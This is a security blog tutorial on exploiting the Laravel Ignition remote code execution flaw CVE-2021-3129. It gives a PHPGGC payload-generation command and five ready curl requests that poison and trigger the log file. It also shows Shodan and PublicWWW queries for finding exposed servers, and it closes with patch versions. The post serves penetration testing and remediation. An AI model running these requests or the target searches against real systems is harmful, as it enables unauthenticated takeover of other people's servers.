Home Security research How to exploit a Remote Code Execution vulnerability in Laravel (CVE-2021-3129)

How to exploit a Remote Code Execution vulnerability in Laravel (CVE-2021-3129)

by Iulian Tita

Reading time

5 minutes

Reading Time: 5 minutes

I discovered this vulnerability for the first time in the Horizontall machine from Hack The Box, and the conditions in which it’s triggered pushed me to understand it in more detail. 

CVE-2021-3129 reminds me about a log poisoning vulnerability, but with a different flavor. 

The most challenging part was to create a flow for this security flaw and integrate it into our auto-exploiter tool, because it requires a PHP serializable code injection.

Let’s dive into more details and see how you can exploit this critical vulnerability in Laravel with Pentest-Tools.com! 

What is CVE-2021-3129?

CVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack.

In typical log poisoning, the attacker needs to exploit a local file inclusion first in order to achieve remote code execution, while in the Laravel framework we need the Ignition module (Ignition is a page for displaying an error) and a specific chain to trigger this vulnerability.

This security issue is relatively easy to exploit and does not require user authentication which is one of the reasons why it has a 9.8 CVSSv3 score.

How the Laravel RCE (CVE-2021-3129) works

In order to exploit Laravel RCE (CVE-2021-3129), first we seek to understand how file_get_contents() and file_put_contents() work. 

These two functions simply read and write the contents of a file. But how could these functions be malicious for this command? 

In Laravel ignition mode, we have a class named MakeViewVariableOptionalSolution which invokes both functions to be triggered by sending a POST request to /_ignition/execute-solution. It does this using a JSON payload which includes a viewFile parameter

The action of reading and writing a file doesn’t give us more insights, but PHP allows us to use filters like php://filter/write=convert.base64-decode/resource=path/to/a/specific/file , and phar:///path/to/specific/file to modify and execute PHP serializable code

However, this is not enough to trigger RCE. Default Laravel has the log file in storage/logs/laravel.log which includes every PHP error. Writing malicious content with the purpose of decoding and executing it won’t work at first, because PHP ignores bad characters when decoding base64, so the error won’t be written in the Laravel log file. 

Moreover, the log file has more entries that affect our payload. Hopefully, we can invoke php:// again to clear the log file and have only our payload executed and injected twice. But we need one more step. 

The length of the final payload in the log file is different from one target to another because of the absolute path, which could result in bad decoding of the base64 payload. 

One of the last methods I tried to trigger the RCE is to use base64 decode for UTF-16, which aligns the payload for 2 bytes. In this case, the first payload is correctly decoded, thus the second one will be decoded correctly too. 

To sum it all up, you can exploit this vulnerability in 5 steps:

1. Clear logs by sending a payload such as:

data[“parameters”][“viewFile”]  = “php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log”

2. Send 2 bytes to align the contents of the log file

data[“parameters”][“viewFile”]  = *any 2 bytes dummy*

3. Create a serializable object using PHPGGC:

“php -d ‘phar.readonly=0’ phpggc/phpggc laravel/rce3 system command –phar phar -o php://output | base64 -w0 | python -c “import sys;print(”.join([‘=’ + hex(ord(i))[2:].zfill(2) + ‘=00’ for i in sys.stdin.read()]).upper())” and save the payload into a file and command. It’s the Linux command you want to execute.

The payload should look like this:

 “=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=...” 

And send the payload via a post request:

data["parameters"]["viewFile"] = “=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=...

4. Use a PHP filter to decode the payload:

data["parameters"]["viewFile"] = “php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log”

5. Trigger the RCE

data["parameters"]["viewFile"] = “phar://../storage/logs/laravel.log”

Vulnerable Laravel versions

According to NIST, this vulnerability impacts all versions with Laravel framework before 8.4.2 and Ignition mode before 2.5.2.

Business impact of CVE-2021-3129

When successfully exploited, this vulnerability allows an unauthenticated attacker to obtain control of the target, compromise all services and databases that Laravel uses, and expose the entire infrastructure.

How to find targets vulnerable to CVE-2021-3129

Using Shodan

Using the Shodan search engine with the filter http.html:Laravel will reveal more potential targets for motivated attackers:

query search with Shodan

At the time of writing this article, Shodan indicates at least 92,575 potentially vulnerable servers.

Using PublicWWW

PublicWWW is a search engine you can use to track websites based on source code content, response headers, cookies, and technology used. You can use the cookie laravel_session to find targets potentially vulnerable to CVE-2021-3129:

query search with PublicWWW

Once you’ve found your targets, it’s time to validate which of them are actually exploitable, so you can deliver a thorough pentest report that helps effectively prioritize remediation.

Once you’ve found your targets, it’s time to validate which of them are actually exploitable, so you can deliver a thorough pentest report that helps effectively prioritize remediation.

How to manually detect CVE-2021-3129 in ethical hacking engagements

Before starting to send the requests, we need to craft our payload using PHPGGC.

In the previous section, I showed a command to craft a payload like this: 

php -d 'phar.readonly=0' phpggc/phpggc laravel/rce3 system command --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())”. 

To do that, we need at least the PHP CLI package installed and PHPGGC on our machine. Of course, this is not the only payload available. We could use different a payload from Laravel gadgets from RCE1 to 7. After crafting our payload, we can send the following chain of requests to trigger the RCE.

To exploit CVE-2021-3129, you need to send a chain of POST requests in order to achieve RCE:

curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "AA"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=..."}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json'  -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "phar://../storage/logs/laravel.log"}, }’  http(s)://<Target_ip>:<port>/_ignition/execute-solution

And the output of the command should be available in the last response received from the target.

If you want to try a faster exploitation method, you can use Pentest-Tools.com. 

How to mitigate CVE-2021-3129

The most cautious thing to do is to b proactive and apply the available patches in your environment, upgrading the Ignition mode to version 2.5.2 and the Laravel framework to 8.4.2.

Product BuildFixed VersionProduct BuildFixed Version
Laravel 8.4.1 and all versions before8.4.2Ignition 2.5.1 and all versions before 2.5.2

One of the questions our customers ask is how we can help them quickly detect and exploit critical vulnerabilities like this one, which seems to emerge at an unprecedented rate.

Through our hands-on pentesting guides, we focus on sharing our replicable processes, helpful methods, or tips you can use to expand your knowledge and ethical hacking skills. And help others too!

Rely on us to keep you informed when we integrate new detection and exploitation modules on the platform you can use right away!  Practical, helpful pentesting guides straight to your inbox!

Get future pentesting guides!

 

Related Posts

Sniper network graph launch Pentest-Tools.com

Visualize exploit paths with the Sniper network graph

detect-cve-2022-23171

How to manually detect CVE-2022-21371 in Oracle WebLogic Servers

0 comments

Comments